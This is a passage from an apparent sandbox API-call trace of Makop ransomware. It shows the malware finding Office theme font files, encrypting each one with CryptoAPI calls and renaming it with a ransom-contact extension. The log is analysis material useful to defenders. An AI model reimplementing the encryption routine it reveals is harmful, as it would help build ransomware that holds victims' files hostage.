Fonts\\Module.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0161.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.189] CloseHandle (hObject=0xf0) returned 1 [0161.189] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0161.190] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml") returned 78 [0161.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.191] GetProcessHeap () returned 0x48a0000 [0161.191] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.191] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.195] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.195] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.196] GetProcessHeap () returned 0x48a0000 [0161.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.196] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.196] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.196] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.197] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe39, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe39, lpOverlapped=0x0) returned 1 [0161.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe40, dwBufLen=0xe40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe40) returned 1 [0161.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe40, lpOverlapped=0x0) returned 1 [0161.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.198] SetEndOfFile (hFile=0xf0) returned 1 [0161.204] GetProcessHeap () returned 0x48a0000 [0161.204] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.204] GetProcessHeap () returned 0x48a0000 [0161.204] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.204] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0161.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.206] CloseHandle (hObject=0xf0) returned 1 [0161.206] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0161.206] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml") returned 77 [0161.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.208] GetProcessHeap () returned 0x48a0000 [0161.208] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.208] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0161.213] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.213] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.213] GetProcessHeap () returned 0x48a0000 [0161.213] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.213] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.213] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.213] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.214] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.214] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.215] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe15, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe15, lpOverlapped=0x0) returned 1 [0161.215] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.215] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.216] SetEndOfFile (hFile=0xf0) returned 1 [0161.222] GetProcessHeap () returned 0x48a0000 [0161.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.222] GetProcessHeap () returned 0x48a0000 [0161.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.223] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0161.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.227] CloseHandle (hObject=0xf0) returned 1 [0161.227] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0161.227] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml") returned 85 [0161.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.229] GetProcessHeap () returned 0x48a0000 [0161.230] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.230] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0161.234] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.234] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.234] GetProcessHeap () returned 0x48a0000 [0161.234] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0161.234] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6577a90*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6577a90*=0x50) returned 1 [0161.234] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.234] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6577aa8*=0x50, lpOverlapped=0x0) returned 1 [0161.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.234] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.235] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.235] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.235] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.235] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.235] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe01, lpOverlapped=0x0) returned 1 [0161.236] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0161.236] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.236] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0161.236] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.236] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.236] SetEndOfFile (hFile=0xf0) returned 1 [0161.243] GetProcessHeap () returned 0x48a0000 [0161.243] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0161.243] GetProcessHeap () returned 0x48a0000 [0161.243] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.244] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 132 [0161.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.246] CloseHandle (hObject=0xf0) returned 1 [0161.246] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0161.246] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml") returned 83 [0161.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.247] GetProcessHeap () returned 0x48a0000 [0161.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.247] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.248] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.248] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.248] GetProcessHeap () returned 0x48a0000 [0161.248] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.248] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.248] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.248] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.255] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.256] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.256] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.256] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.256] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.257] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe20, lpOverlapped=0x0) returned 1 [0161.257] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.257] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 